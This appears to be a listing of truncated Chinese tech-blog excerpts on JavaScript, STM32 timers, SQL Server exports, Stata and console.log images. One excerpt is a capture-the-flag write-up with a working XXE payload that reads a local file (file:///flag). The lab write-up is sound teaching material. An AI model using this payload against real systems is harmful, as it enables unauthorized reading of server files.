判断数组中是否有重复的值,重复则提示优先级重复 第一种方法 推荐 // 以数组值为键,持续向一个对象里面加值, // 如果在加值之前就发现这个属性在对象中已经存在,那么他就是重复的 function isRepeat(arr) { var hash = {} for (var i in arr) { if (hash[arr[i]]) { return true } hash[arr[i]] = true } return false }, 全部代码 <Input v-model.trim="item.haha" @on-blur="func1" clearable placeholder="请输入" :style="{ width: formInputWidth1 }"></Input> // 以数组值为键,持续向一个对象里面加值, // 如果在加值之前就发现这个属性在对象中已经存在,那么他就是重复的 isRepeat(arr) { var hash = {} for (var i in arr) { if (hash[arr[i]]) { return true } hash[arr[i]] = true } return false }, func1() { let list = [] this.

XXE:XXE外部实体漏洞

靶场地址:安鸾学院 解题准备:XML外部实体注入,简称XXE 解题思路: 1、登录界面,点击login抓包,修改poc <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>admin</password></user> 2、成功获取flag 

stm32f103c8t6输入捕捉模式精细测信号频率

#include "stm32f10x.h" #include "usart.h" #include "delay.h" int num,num1;//记录第一次捕获中断和第二次捕捉中断寄存器值 int sum,n=0;//sum:记录所测信号一个周期计数器记了多少个数。n:做第一次和第二次的捕捉中断判断。 int main(void) { GPIO_InitTypeDef GPIO_Structure; //GPIO初始化 TIM_TimeBaseInitTypeDef TIM_TimeStructure;//时钟初始化 TIM_ICInitTypeDef TIM_ICTypeDef;//时钟输入捕捉通道初始化 NVIC_InitTypeDef NVIC_InitStruct;//中断初始化 RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE);//使能GPIOA RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE);//使能TIM2 uart_init(9600);//初始化串口,波特率9600 delay_init(); My_PWMTIM3_Init(1999,71);//自己写的一个输出pwm波的一个库,引脚PA6输出周期为2000us的脉冲 TIM_SetCompare1(TIM3,1500);//设置比较值 GPIO_Structure.GPIO_Pin = GPIO_Pin_1; GPIO_Structure.GPIO_Mode = GPIO_Mode_IN_FLOATING;//浮空输入,输入捕捉模式需要将具体引脚调为浮空输入 GPIO_Structure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_Init(GPIOA, &GPIO_Structure); TIM_TimeStructure.TIM_ClockDivision=TIM_CKD_DIV1;//分频因子 TIM_TimeStructure.TIM_CounterMode=TIM_CounterMode_Up;//向上计数 TIM_TimeStructure.TIM_Period=0xFFFF;//自动重装载值 TIM_TimeStructure.TIM_Prescaler=71;//预分频系数 TIM_TimeBaseInit(TIM2, &TIM_TimeStructure); TIM_ICTypeDef.TIM_Channel=TIM_Channel_2;//PA1/T2.2 TIM_ICTypeDef.TIM_ICPolarity=TIM_ICPolarity_Rising;//上升沿捕捉 TIM_ICTypeDef.TIM_ICSelection=TIM_ICSelection_DirectTI;//映射一波 TIM_ICTypeDef.TIM_ICPrescaler=TIM_ICPSC_DIV1;//不分频 TIM_ICTypeDef.TIM_ICFilter=0x00;//不滤波 TIM_ICInit(TIM2,&TIM_ICTypeDef); TIM_ITConfig(TIM2,TIM_IT_CC2,ENABLE);//开启CC2中断 NVIC_InitStruct.NVIC_IRQChannel=TIM2_IRQn; NVIC_InitStruct.NVIC_IRQChannelCmd=ENABLE; NVIC_InitStruct.NVIC_IRQChannelPreemptionPriority=0; //抢占优先级 NVIC_InitStruct.NVIC_IRQChannelSubPriority=1; //响应优先级 NVIC_Init(&NVIC_InitStruct); TIM_Cmd(TIM2,ENABLE); while(1) { printf("%d ",sum);//让串口每隔0.5秒打印测得周期值 delay_ms(500);} } void TIM2_IRQHandler(void) { if(TIM_GetITStatus(TIM2,TIM_IT_CC2) !

关于sql server导出csv格式文件的身份证号乱码问题处理办法

1、使用SQL Server数据库经常会遇到导出大量数据的情况,例如导出40万条数据,虽然EXCL支持可以放入百万的数据,但是使用数据库复制,粘贴到EXCL表格时,数据库会提示溢出的情况,如下图所示: 如果使用数据库工具右键导出<将结果另存为>,将弹出将结果存为csv格式的文件,此时导出的身份证号将自动变成科学计数法,无法使用。 2、解决方案: SQL语句 select ''''+A.CSFZH AS 身份证号 from yxhis..tbicxx a,yxhis..tbicxxex b where 1=1 and a.cicid=b.cicid and a.cicid like '198%' 在身份证号前加一个特殊字符(什么都可以A B C D之类的),将身份证号显示为文本格式,然后在复制或者导出CSV格式时,将不会再按科学计数法的方式显示,剩余的就可以在EXCL内进行操作数据了。 查询出的数据如下图所示:

stata滞后、前置、异质性

滞后 滞后一阶:gen lx=L.x 滞后两阶:gen l2x=L2.x 前置 前置一阶:gen fx=F.x 前置两阶:gen f2x=F2.X 异质性 reg y x if z==1 reg y x if z==0

玩转console.log 如何在console.log里面插入图片

console.log也能插图!!! 学前准备 一台电脑及一个浏览器(建议chrome)具有一定 JavaScript 及 CSS3 基础了解如何给 console.log 添加样式:《给console来的样式》 举3个例子 第一个例子是西瓜视频的控制台,输出一张图片 第二个例子是bilibili的控制台,玩转了 ASSII-Aar。 第三个例子:基于第一个例子进行改造。 图片用法 无意中看到西瓜视频官网的控制台 言归正传,console.log 是支持使用 background 的。唯一注意的是需要使用 网络图片 或者 base64 类型的图片。 我试过用相对路径引用本地图片,结果是引用失败(也不会报错,不知道是不是我的姿势错了导致引用失败)。 由于 console 不支持 标签,因此用 背景图片 代替。 此外,console 不支持 width 和 height,利用 空格 和 font-size 代替;还可以使用 padding 和 line-height 代替宽高。 console.log 添加样式的基础用法,在 《给console来的样式》 有讲到。 以下代码来自西瓜视频官网。 console.log( "%c ", "background: url(https://sf1-dycdn-tos.pstatp.com/obj/eden-cn/lpqpflo/ixigua_logo.svg) no-repeat; font-size:130px; line-height: 50px" ) 以下代码使用了 base64 的方式。 由于 base64 的代码量比较大,所以不推荐使用这个方式 console.log( '%c ', `padding: 100px 200px; background-image: url('data:image/png;base64,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